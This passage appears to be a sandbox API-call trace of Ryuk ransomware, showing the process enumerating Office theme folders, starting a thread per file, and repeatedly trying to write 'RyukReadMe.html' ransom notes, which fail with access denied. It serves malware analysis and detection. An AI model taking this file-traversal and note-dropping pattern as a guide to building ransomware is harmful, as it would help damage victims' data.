	[0164.881] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x8e, dwReserved1=0x0, cFileName="QUAD.INF", cAlternateFileName="")) returned 1
	[0164.881] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.882] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7dc
	[0164.885] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.885] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0164.885] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.886] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e0
	[0165.131] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0165.340] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0165.340] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0165.353] SetLastError (dwErrCode=0x0) 
	[0165.353] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.353] GetLastError () returned 0x5
	[0165.353] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0165.354] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.354] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="RADIAL", cAlternateFileName="")) returned 1
	[0165.354] SetLastError (dwErrCode=0x0) 
	[0165.354] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.354] GetLastError () returned 0x5
	[0165.354] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0165.354] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.354] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0165.358] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0165.358] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x682, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0165.358] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0165.359] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e8
	[0165.361] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0165.362] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c679700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c679700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb75e, dwReserved0=0x8e, dwReserved1=0x0, cFileName="RADIAL.ELM", cAlternateFileName="")) returned 1
	[0165.362] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0165.363] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e4
	[0165.364] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0165.364] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x8e, dwReserved1=0x0, cFileName="RADIAL.INF", cAlternateFileName="")) returned 1
	[0165.365] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0165.365] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f0
	[0165.367] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0165.368] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0165.368] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0165.369] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f4
	[0165.372] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0165.372] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0165.372] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0165.372] SetLastError (dwErrCode=0x0) 
	[0165.373] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.373] GetLastError () returned 0x5
	[0165.373] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0165.373] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.373] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="REFINED", cAlternateFileName="")) returned 1
	[0165.373] SetLastError (dwErrCode=0x0) 
	[0165.373] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.374] GetLastError () returned 0x5
	[0165.374] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0165.374] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.374] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0165.374] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0165.375] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0165.375] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0165.375] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f8
	[0165.377] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0165.378] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec9f100, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec9f100, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb30e, dwReserved0=0x8e, dwReserved1=0x0, cFileName="REFINED.ELM", cAlternateFileName="")) returned 1
	[0165.378] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0165.379] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7fc
	[0165.380] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0165.381] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x8e, dwReserved1=0x0, cFileName="REFINED.INF", cAlternateFileName="")) returned 1
	[0165.381] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0165.382] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x804
	[0165.384] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0165.385] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0165.385] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0165.385] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x808
	[0165.673] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0165.690] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0165.690] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0165.690] SetLastError (dwErrCode=0x0) 
	[0165.690] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.691] GetLastError () returned 0x5
	[0165.691] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0165.691] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.691] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="RICEPAPR", cAlternateFileName="")) returned 1
	[0165.691] SetLastError (dwErrCode=0x0) 
	[0165.691] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.692] GetLastError () returned 0x5
	[0165.692] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0165.692] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.692] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0165.694] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0165.695] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0165.695] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0165.696] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x80c
	[0165.703] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0165.704] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ffb1e00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ffb1e00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1205e, dwReserved0=0x8e, dwReserved1=0x0, cFileName="RICEPAPR.ELM", cAlternateFileName="")) returned 1
	[0165.704] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0165.705] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x810
	[0165.707] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0165.707] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x8e, dwReserved1=0x0, cFileName="RICEPAPR.INF", cAlternateFileName="")) returned 1
	[0165.707] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0165.708] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x814
	[0165.710] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0165.710] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0165.711] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0165.711] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x818
	[0165.713] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0165.713] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0165.714] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0165.714] SetLastError (dwErrCode=0x0) 
